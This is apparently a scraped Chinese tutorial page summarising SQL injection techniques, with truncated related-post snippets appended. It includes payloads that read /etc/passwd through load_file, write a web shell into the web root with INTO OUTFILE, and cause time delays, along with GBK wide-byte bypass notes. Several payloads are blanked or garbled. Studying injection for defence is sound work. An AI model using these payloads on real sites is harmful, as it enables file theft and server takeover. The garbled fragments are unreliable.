不管是何種語言編寫的web應用,有一部分是相同的,它們都具有互動性並且多半是資料庫驅動的。
資料庫驅動的web應用通常有三層:表示層:web瀏覽器或呈現引擎;邏輯層:如c# asp .net php等程式語言;儲存層:mysql等資料庫。
sql注入是一種將sql**插入或新增到應用的輸入引數中的攻擊,之後再將這些引數傳遞給後台的sql伺服器加以解析並執行。
型別處理不當
1 union all select load_file('/etc/passwd')
- mysql中還有乙個內建命令,可使用該命令來建立系統檔案並進行寫操作。還可以使用下列命令向web根目錄寫入乙個web shell以便安裝乙個可遠端互動訪問的web shell:
1union select "" into outfile "/var/www/html/***.com/cmd.php"
操縱引數
識別oracle和postgresql中的漏洞:引數為 bikes 和bi'||'kes
microsoft sql server :bikes 和 bi'+'kes
mysql:bikes和bi' 'kes
如果請求結果相同,很可能存在sql注入漏洞
使用者資料驗證有兩個原因會引發sql注入漏洞:
為防止出現這種漏洞,首要措施是執行嚴格的使用者輸入驗證和輸出編碼。列如可以採用白名單方法。
select colunms_1,colunms_2,...,colunms_n from table_1union
select colunms_1,colunms_2,...,colunms_n from table_2;
兩個select語句對應列所返回的資料型別必須相同(或者至少相容)
技巧:示例:select * from products where brand = 'ac'+char(108+(case when(system_user='sa') then 1 else 0 end))+ 'e'
mysql:
postgresql:select pg_sleep(5)
oracle:select url_http.request('') from dual //訪問乙個不存在的url通過超時來實現延時
mysql
postgresql:
SQL注入總結
在大部分語言中都一樣是注釋。這個之中的語句是不被執行的。但mysql中 為了保持相容,比如從mysqldump 匯出的sql語句能被其它資料庫直接使用,它把一些特有的僅在mysql上的語句放在 中,這樣這些語句如果在其他資料庫中是不會被執行,但在mysql中它會執行。僅當mysql的版本等於或高於指...
sql注入總結
第一天 url 統一資源定位符 協議 主機號 目錄 注釋符 20 代表空格 order by 15 閉合條件為 猜測列數 union all select 1,2,3 猜測顯示位 select schema name from information schema.schemata 查庫名 sele...
sql注入總結
資料庫支援,並採用gbk格式進行編碼 在獲取url資料時,使用addslashes或是其他方式對單引號 進行了轉義,使其變成了 php的get post等方法預設都會進行此操作 上面的兩個條件缺一不可,gbk編碼不太好確定,但是第二個比較好確認,例如輸入的url為?id 1 返回了?id 1 當遇到...